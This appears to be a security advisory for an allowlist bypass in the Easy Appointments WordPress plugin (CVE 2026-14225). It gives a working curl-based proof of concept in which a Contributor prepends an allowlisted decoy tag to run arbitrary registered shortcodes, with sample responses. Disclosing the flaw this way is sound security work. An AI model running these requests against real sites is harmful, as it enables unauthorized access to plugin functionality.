Easy Appointments <= 3.12.26 – Contributor+ Shortcode Allowlist Bypass | CVE 2026-14225

Description

The plugin does not correctly validate shortcode input in one of its block-rendering actions, checking only the first tag of the supplied string against an allowlist while rendering the entire string, allowing users with contributor-level access to execute arbitrary registered shortcodes.

Proof of Concept

Prerequisites: a Contributor account.

1. Log in as the Contributor and capture cookies:
   curl -s -c cookies.txt -X POST "https://victim.example/wp-login.php" --data-urlencode "log=contributor" --data-urlencode "pwd=PASSWORD" --data-urlencode "wp-submit=Log In" --data-urlencode "testcookie=1" -o /dev/null

2. Get the REST nonce for the session:
   NONCE=$(curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce")

3. Control: a bare non-allowlisted shortcode is blocked (HTTP 403):
   curl -s -b cookies.txt -X POST "https://victim.example/wp-json/wp/v2/eablocks/render_shortcode" -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" -d '{"shortcode":"[ea_bootstrap]"}'
   # => {"success":false,"message":"Shortcode not allowed."}

4. Bypass: prepend an allowlisted decoy tag (HTTP 200, the whole string is rendered):
   curl -s -b cookies.txt -X POST "https://victim.example/wp-json/wp/v2/eablocks/render_shortcode" -H "X-WP-Nonce: $NONCE" -H "Content-Type: application/json" -d '{"shortcode":"[location][ea_bootstrap]"}'
   # => {"success":true,"html":"[location]<script>var ea_settings = {...}</script>..."}

Any registered shortcode can be executed this way (e.g. [location][ea_full_calendar]). The rendered output is returned only to the calling Contributor, so there is no stored or cross-user XSS. Executing arbitrary PHP would additionally require a separately installed PHP-evaluating shortcode plugin (non-default).